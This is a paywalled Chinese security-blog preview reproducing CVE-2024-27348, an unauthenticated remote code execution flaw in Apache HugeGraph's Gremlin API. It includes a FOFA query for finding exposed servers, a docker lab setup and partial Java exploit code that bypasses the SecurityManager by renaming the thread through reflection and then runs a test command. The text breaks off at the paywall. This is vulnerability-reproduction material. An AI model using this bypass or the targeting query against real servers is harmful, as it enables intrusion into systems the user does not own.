freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache HugeGraph 远程代码执行漏洞(CVE-2024-27348)
p0et 2025-02-10 21:16:01 46812
所属地 上海

1739193298_67a9fbd259102c7e4e023.jpg!small?1739193298526

Apache HugeGraph介绍:

Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能、出色的性能和企业级的可靠性。

漏洞概述:

HugeGraph 的 Gremlin API 中存在一个远程代码执行漏洞。Gremlin 是一种图遍历语言,可以在 Groovy、Python 和 Java 等多种编程语言中实现。攻击者能够利用 Gremlin API 在未经身份验证的情况下执行基于 Groovy 的 Gremlin 命令,从而执行任意命令。

理论上,Apache HugeGraph 会使用 SecurityManager 来限制用户提交的 Groovy 脚本。但 SecurityManager 仅检查以“gremlin-server-exec”或“task-worker”开头的线程名称。攻击者通过使用反射修改当前线程名称,可以绕过这一机制,从而实现任意代码执行。

影响版本:

影响 Apache HugeGraph-Server:Java8 和 Java11 中的 1.0.0 到 1.3.0 之前的版本

FOFA:

FOFA:title="HugeGraph"

搭建环境:

使用docker容器进行搭建,docker-compose.yml 如下:

services:
  web:
    image: vulhub/hugegraph:1.2.0
    ports:
      - "8080:8080"
      - "5005:5005"

执行如下命令,开启靶场

docker-compose up -d

环境启动后,可通过 http://your-ip:8080 访问 HugeGraph 的 RESTful API。

1739192543_67a9f8dfddc56309727b3.png!small?1739192544215

1739192544_67a9f8e03b698c6b2e7eb.png!small?1739192544215

漏洞复现:

目标地址如下:

1739192590_67a9f90e2935808a36d79.png!small?1739192590039

原POC 参考如下:

https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-apache-hugegraph-server-cve-2024-27348

载荷设计思路如下:

首先需要一个 Java 代码,可实现以下功能:

1. 使用反射将当前线程的名称更改为“VICARIUS”。

2. 创建一个执行命令“touch /tmp/proof”的新进程,该进程将在“/tmp”目录中创建一个名为“proof”的空文件。


# JAVA 代码 // Get the current thread executing this code Thread thread = Thread.currentThread(); // Load the Thread class using reflection Class clz = Class.forName("java.lang.Thread"); // Get the private 'name' field of the Thread class java.lang.reflect.Field field = clz.getDeclaredField("name"); // Make the private 'name' field accessible field.setAccessible(true); // Set the name of the current thread to "VICARIUS" field.set(thread, "VICARIUS"); // Load the ProcessBuilder class using reflection Class processBuilderClass = Class.forName("java.lang.ProcessBuilder"); // Get the constructor of ProcessBuilder that takes a List<String> as an argument java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class); // Create a list containing the command "touch /tmp/proof" java.util.List command = java.util.Arrays.asList("touch", "/tmp/proof"); // Create an instance of ProcessBuilder with th
可试读前30%内容
¥ 19.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# 漏洞 # 渗透测试 # 黑客 # web安全 # 数据安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 p0et 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
p0et LV.4
这家伙太懒了,还未填写个人描述!
  • 31 文章数
  • 32 关注者
Apache Superset 漏洞组合利用拿权限
2025-04-03
Cacti RRDTool后台参数注入导致远程代码执行漏洞(CVE-2025-24367)
2025-04-02
Mage-AI 不安全的默认身份验证设置导致0day远程命令执行漏洞(CVE-2025-2129)
2025-03-25
文章目录